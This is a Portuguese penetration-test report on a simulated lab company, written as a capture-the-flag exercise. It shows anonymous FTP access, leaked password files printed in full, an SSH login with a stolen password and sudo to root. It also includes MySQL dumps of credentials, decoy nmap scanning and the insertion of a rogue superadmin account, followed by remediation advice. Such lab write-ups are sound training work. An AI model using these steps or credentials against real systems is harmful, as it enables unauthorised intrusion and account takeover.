

Autor: Erick Menezes

Data: 30/11/2025

Versão: 1.0

Repositório: <https://www.github.com/erickmnz/recon-simulado>

Sumário Executivo

Foi realizada uma avaliação de segurança em um serviço web simulado hospedado em ambiente de laboratório. Durante o exercício foram identificadas múltiplas exposições e más configurações que permitem descoberta de arquivos sensíveis, acesso a FTP público, enumeração de serviços via Nmap, acesso SSH e extração de segredos armazenados em banco de dados. Foram encontradas evidências em `robots.txt`, diretórios de backup e arquivos de configuração que indicam risco de divulgação de dados e credenciais.

Recomenda-se correções imediatas em autenticação, controle de acesso e isolamento de serviços.

Objetivo

Avaliar a superfície de ataque do serviço web simulado para identificar exposições, dados sensíveis e vetores de escalonamento de privilégio.

Escopo

Ambiente web simulado contendo serviços web, FTP, SSH e banco de dados em hosts internos identificados na varredura.

Metodologia

- **Ferramentas:** nmap , nikto , gobuster , clientes FTP/SSH, consultas SQL manuais
- **Atividades:** varredura de portas, enumeração de diretórios, leitura de `robots.txt` , conexão FTP, tentativa de SSH, inspeção de arquivos de configuração e extração de segredos do banco de dados
- **Horários relevantes:** varredura iniciada às 20:00; conexão FTP às 20:17; acesso SSH às 20:32

Achados Detalhados

robots.txt e descoberta inicial

- **Conteúdo relevante encontrado em `robots.txt` :**
 - Disallow: /admin/
 - Disallow: /backup/
 - Disallow: /.git/

- Disallow: /config/
- **Flag descoberta:** FLAG{r0b0ts_txt_l34k4g3}
- **Observação:** robots.txt revela caminhos sensíveis e aponta para arquivo de backup em /backup/database_backup_2024.sql.

Serviço FTP

- **Comportamento:** FTP acessível por acesso anônimo; listagem de diretórios disponível
- **Arquivos e diretórios listados:** Dockerfile ; confidential/ ; ftp/ ; public/ ; users.conf ; welcome.txt
- **Permissões e metadados:** arquivos com permissões -rwxr-xr-x e diretórios com proprietário UID 1000 e root em alguns itens
- **Flags e strings encontradas em arquivos de configuração:**
 - # FLAG{c0nf1g_f1l3_r34d}
 - FLAG{p4ssw0rd_f1l3_d1sc0v3ry}
 - FLAG{ftp_4n0nym0us_4cc3ss}
- **Avaliação:** FTP totalmente exposto presença de diretórios confidential e backup representa risco de vazamento.

```
erick@archlinux ~]$ ftp 98.95.207.28
Connected to 98.95.207.28.
220 (vsFTPd 3.0.5)
Name (98.95.207.28:erick): anonymous
```

```
Name (98.95.207.28:erick): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1000 1000 1110 Nov 17 14:28 Dockerfile
drwxr-xr-x 2 1000 1000 4096 Nov 17 14:28 confidential
drwxr-xr-x 4 0 0 4096 Nov 17 17:55 ftp
drwxr-xr-x 2 1000 1000 4096 Nov 17 14:28 public
-rwxr-xr-x 1 1000 1000 135 Nov 17 14:28 users.conf
-rwxr-xr-x 1 1000 1000 329 Nov 17 14:28 welcome.txt
226 Directory send OK.
ftp> ls confidential
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1000 1000 542 Nov 17 14:28 passwords.txt
226 Directory send OK.
ftp>
```

```
ftp> ls confidential
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1000 1000 542 Nov 17 14:28 passwords.txt
226 Directory send OK.
ftp> ls public
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxr-xr-x 1 1000 1000 208 Nov 17 14:28 readme.txt
226 Directory send OK.
ftp> ls ftp
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Nov 17 17:55 confidential
drwxr-xr-x 2 0 0 4096 Nov 17 17:55 public
-rwxr-xr-x 1 0 0 329 Nov 17 17:55 welcome.txt
226 Directory send OK.
ftp> [REDACTED]
```

- **Arquivos achados no servidor ftp:**

welcome

TechCorp Solutions - FTP Server

Bem-vindo ao servidor FTP corporativo!

Este servidor é usado para compartilhamento interno de arquivos da empresa.

ATENÇÃO: Apenas para uso autorizado!

FLAG{ftp_4n0nym0us_4cc3ss}

readme

TechCorp FTP - Public Directory

Esta é uma área pública para compartilhamento de arquivos.

Arquivos confidenciais devem ser colocados em /confidential/

Para mais informações, contate o administrador.

passwords

TechCorp Solutions - Password Archive

Data: 2024-01-15

CONFIDENCIAL - NÃO COMPARTILHAR

SSH Server Credentials:

- User: techcorp
- Password: TechCorp2024!

FTP Admin:

- User: ftpadmin
- Password: ftp@dm1n123

Database Backup User:

- User: backup_user
- Password: B4ckup_S3cr3t_2024

WiFi Office:

- SSID: TechCorp_Corporate
- Password: TechC0rp_W1F1_2024

VPN Access:

- Username: vpn_user
- Password: VPN_P4ssw0rd!

FLAG{p4ssw0rd_f1l3_d1sc0v3ry}

NOTA: Estas senhas devem ser trocadas mensalmente!

Última atualização: 15/01/2024

Acesso SSH e Banco de Dados

- **Acesso SSH obtido:** sessão interativa permitiu navegação no sistema e acesso a arquivos locais, acesso ao banco de dados e inserção de usuário superadmin no painel do site.
- **Evidências de exploração de banco de dados:** extração de tabela contendo segredos
- **Escalada de privilégios:** consegui escalar privilégios apenas com a senha vazada do techcorp.
- **Flags adicionais encontradas no sistema:**
 - FLAG{ssh_h0m3_d1r3ct0ry_3xpl0r4t10n}
 - FLAG{v13w_d1sc0v3ry_4dv4nc3d}
 - FLAG{d4t4b4s3_cr3d3nt14ls_3xp0s3d}
- **Observação:** presença de api_secret e caminhos de backup indicam risco de comprometimento de dados em produção se reutilizados.

```

** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
techcorp@98.95.207.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
Last login: Mon Dec  1 03:55:36 2025 from 45.65.156.191
techcorp@024a36a8e6ca:~$ █

[erick@archlinux ~]$ ssh techcorp@98.95.207.28 -p2222
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
techcorp@98.95.207.28's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1016-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro
Last login: Wed Nov 19 01:48:09 2025 from 191.243.165.204
techcorp@024a36a8e6ca:~$ sudo
usage: sudo -h | -K | -k | -V
usage: sudo -v [-AknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-AknS] [-g group] [-h host] [-p prompt] [-U user] [-u user]
      [command]
usage: sudo [-AbEHknPS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
            prompt] [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-AknS] [-r role] [-t type] [-C num] [-g group] [-h host] [-p
            prompt] [-T timeout] [-u user] file ...
techcorp@024a36a8e6ca:~$ sudo su
[sudo] password for techcorp:
root@024a36a8e6ca:/home/techcorp# █
root@024a36a8e6ca:/# mysql -u root -pR0t_P4ssw0rd_2024 -h 172.20.0.2
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 6892
Server version: 8.0.44 MySQL Community Server - GPL

Copyright (c) 2000, 2025, oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show database
      >;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near 'database' at line 1
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| mysql |
| performance_schema |
| sys |
| techcorp_db |
+-----+
5 rows in set (0.00 sec)

mysql> use techcorp_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----+
| Tables_in_techcorp_db |
+-----+
| clients |
+-----+
| id | username | password | role | created_at |
+-----+-----+-----+-----+-----+
| 1 | admin | admin123 | admin | 2025-11-17 14:30:36 |
| 2 | user | password123 | user | 2025-11-17 14:30:36 |
| 3 | manager | manager2024 | manager | 2025-11-17 14:30:36 |
| 4 | guest | guest | guest | 2025-11-17 14:30:36 |
| 5 | superadmin | Sup3r@dm1n!2024#Secure | superadmin | 2025-11-17 19:38:25 |
| 6 | gilson | g1ls0n123 | user | 2025-11-17 22:52:03 |
| 7 | cl4ud1o | https://fakeupdate.net/wnc/ | superadmin | 2025-11-17 22:55:10 |
| 8 | al1nn3 | estiveaqui, yes | superadmin | 2025-11-18 14:17:09 |
+-----+
8 rows in set (0.00 sec)

```

```

mysql> insert into users(username,password,role) value('erick','bomdiagrupodozap','superadmin');
Query OK, 1 row affected (0.01 sec)

mysql> select * from users;
+----+-----+-----+-----+-----+
| id | username | password | role | created_at |
+----+-----+-----+-----+-----+
| 1 | admin    | admin123  | admin | 2025-11-17 14:30:36 |
| 2 | user     | password123 | user  | 2025-11-17 14:30:36 |
| 3 | manager   | manager2024 | manager | 2025-11-17 14:30:36 |
| 4 | guest     | guest      | guest  | 2025-11-17 14:30:36 |
| 5 | superadmin | Sup3r@dmn!2024#Secure | superadmin | 2025-11-17 19:38:25 |
| 6 | gilson    | gills0n123 | user  | 2025-11-17 22:52:03 |
| 7 | cl4udio   | https://fakeupdate.net/wnc/ | superadmin | 2025-11-17 22:55:10 |
| 8 | al1nn3    | estiveaqui,yes | superadmin | 2025-11-18 14:17:09 |
| 9 | erick     | bomdiagrupodozap | superadmin | 2025-11-19 10:16:03 |
+----+-----+-----+-----+-----+
9 rows in set (0.00 sec)

```

TechCorp Solutions - Dashboard

Dashboard Clientes Projetos Sair

Bem-vindo, erick!

Seu nível de acesso: superadmin

Pesquisar no Sistema

Pesquisar

```

mysql> select * from sensitive_info;
+----+-----+-----+-----+
| username | password | role | hidden_flag |
+----+-----+-----+-----+
| admin    | admin123 | admin | FLAG(v13w_d1sc0v3ry_4dv4nc3d) |
+----+-----+-----+-----+
1 row in set (0.00 sec)

mysql> select * from secret_data;
+----+-----+-----+-----+
| id | secret_key | secret_value | created_at |
+----+-----+-----+-----+
| 1 | database_flag | FLAG(sql_1nj3ct10n_m4st3r} | 2025-11-17 14:30:36 |
| 2 | admin_token | FLAG(h1dd3n_d4t4_1n_d4t4b4s3} | 2025-11-17 14:30:36 |
| 3 | api_secret | sk_prod_A7x9mP2qR5tY8wZ3vC6nB4jk1lM0hG | 2025-11-17 14:30:36 |
| 4 | backup_path | /var/backups/techcorp/backup_20240115.tar.gz | 2025-11-17 14:30:36 |
+----+-----+-----+-----+

```

- Arquivos relevantes encontrados no servidor ssh:

home_ssh_content
techcorp@024a36a8e6ca:~\$ cat *
TechCorp Solutions - Internal Notes

Senhas importantes:

- Root MySQL: r00t_P4ssw0rd_2024
- Admin Panel: admin / admin123

Backup Location: /var/backups/techcorp/

API Keys:

- Production: tc_sk_prod_9Kx7mN2pQ4rT8wY
- Development: tc_sk_dev_1Aa2Bb3Cc4Dd5Ee

FLAG{ssh_h0m3_d1r3ct0ry_3xp10r4t10n}

Notas:

- Fazer backup toda segunda-feira
 - Verificar logs de segurança semanalmente
 - Atualizar certificados SSL em março
- TODO List - TechCorp IT Department
-

[X] Configurar novo servidor web

[X] Instalar certificado SSL

[] Trocar senha do banco de dados (ainda é T3chC0rp_S3cr3t_2024!)

[] Configurar firewall

[] Revisar acessos FTP

[] Atualizar documentação

[] Fazer backup dos logs

Reunião na sexta às 14h para discutir migração para cloud.

Serviços e Hosts identificados via Nmap

- **Resumo da varredura Nmap:** 6 hosts ativos identificados na rede de laboratório
- **Hosts relevantes:**

Host	IP	Observação
Gateway local	172.20.0.1	Host up
Database container	172.20.0.2	Serviço de banco de dados identificado
phpMyAdmin container	172.20.0.3	Interface de administração web do BD
Web application	172.20.0.10	Serviço web principal
FTP container	172.20.0.20	Serviço FTP acessível
Host adicional	172.20.0.30	Container/host visível

- **Nmap:** varredura rápida de 256 IPs retornou 6 hosts up; latências muito baixas indicam ambiente local de containers.

Riscos Identificados

- **Exposição de backups e arquivos sensíveis** via robots.txt e diretórios públicos.
- **FTP com conteúdo confidencial** acessível sem controles adequados.
- **Segredos em banco de dados** (tokens, chaves de API, caminhos de backup) armazenados sem criptografia.
- **Acesso SSH obtido** permite movimentação e extração de dados.
- **Possível vulnerabilidade XSS refletida** indicada por cookie codificado com flag.

- Presença de arquivos de configuração e `.git` potencialmente acessíveis aumenta risco de leak de código e credenciais.

Recomendações Imediatas

- **Remover ou restringir** `robots.txt` para não expor caminhos sensíveis; mover backups para local inacessível via web.
- **Isolar e proteger FTP:** desabilitar acesso anônimo, aplicar autenticação forte, restringir por IP e criptografar informações importantes, como senhas.
- **Rotacionar segredos:** invalidar e rotacionar `api_secret`, `admin_token` e quaisquer credenciais encontradas.
- **Remover arquivos sensíveis do repositório público** e proteger `.git` e `/config`.
- **Hardening no SSH:** desabilitar autenticação por senha, usar chaves, restringir usuários e registrar sessões.
- **Criptografar segredos em banco de dados** e aplicar controle de acesso baseado em privilégios mínimos.
- **Rever logs e auditoria** para identificar possíveis acessos não autorizados.

Plano de Ação Prioritário (80/20)

Ação	Impacto	Facilidade	Prioridade
Rotacionar segredos expostos	Alto	Média	Alta
Restringir acesso a backups e <code>/config</code>	Alto	Alta	Alta
Desabilitar FTP público / aplicar autenticação	Alto	Média	Alta
Remover dados sensíveis de repositórios públicos	Alto	Média	Alta
Harden SSH e revisar contas	Alto	Média	Alta

Conclusão

O serviço web simulado apresenta exposições críticas e práticas inseguras de armazenamento de segredos que permitem descoberta e extração de dados sensíveis. A combinação de arquivos de backup acessíveis, FTP público e segredos em banco de dados facilita comprometimento em ambiente real. Recomenda-se executar as correções listadas com prioridade alta, realizar nova varredura após mitigação e implementar monitoramento contínuo.

Redes e Hosts Identificados

Rede Estimada	Subnet	Finalidade Suposta
lab_net	172.20.0.0/24	Ambiente de containers e serviços simulados

Hosts por função

IP	Função estimada	Evidência
172.20.0.1	Gateway/container host	Nome ec2.internal detectado
172.20.0.2	Database	Nome techcorp_database detectado; Banco de dados acessível
172.20.0.3	phpMyAdmin	Nome techcorp_phpmyadmin detectado; Acessível através do browser
172.20.0.10	Web app	Nome techcorp_web detectado
172.20.0.20	FTP	Nome techcorp_ftp detectado; FTP acessível
172.20.0.30	Host adicional	Servidor SSH que loguei

```
root@024a36a8e6ca:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.20.0.30 netmask 255.255.255.0 broadcast 172.20.0.255
        ether be:27:6f:33:ee:ba txqueuelen 0 (Ethernet)
        RX packets 144807 bytes 105884113 (105.8 MB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 131136 bytes 434333355 (434.3 MB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
        loop txqueuelen 1000 (Local Loopback)
        RX packets 245 bytes 13384 (13.3 KB)
        RX errors 0 dropped 0 overruns 0 frame 0
        TX packets 245 bytes 13384 (13.3 KB)
        TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@024a36a8e6ca:/# nmap -sn -T5 -D RND:20 172.20.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-11-19 09:47 UTC
Nmap scan report for ip-172-20-0-1.ec2.internal (172.20.0.1)
Host is up (0.000040s latency).
MAC Address: AE:2B:4C:01:8D:FF (Unknown)
Nmap scan report for techcorp_database.techcorp-lab_techcorp_network (172.20.0.2)
Host is up (0.000010s latency).
MAC Address: 56:0E:83:CF:F0:41 (Unknown)
Nmap scan report for techcorp_phpmyadmin.techcorp-lab_techcorp_network (172.20.0.3)
Host is up (0.0000090s latency).
MAC Address: 7A:4D:31:ED:19:26 (Unknown)
Nmap scan report for techcorp_web.techcorp-lab_techcorp_network (172.20.0.10)
Host is up (0.0000080s latency).
MAC Address: 9A:0A:00:A6:28:8C (Unknown)
Nmap scan report for techcorp_ftp.techcorp-lab_techcorp_network (172.20.0.20)
Host is up (0.000014s latency).
MAC Address: C2:E5:8E:FF:0A:27 (Unknown)
Nmap scan report for 024a36a8e6ca (172.20.0.30)
Host is up.

Nmap done: 256 IP addresses (6 hosts up) scanned in 1.41 seconds
```

Observações Finais de Risco

- Alta prioridade:** rotacionar segredos, proteger backups, criptografar senhas e banco de dados.
- Média prioridade:** revisar exposição de diretórios e arquivos estáticos.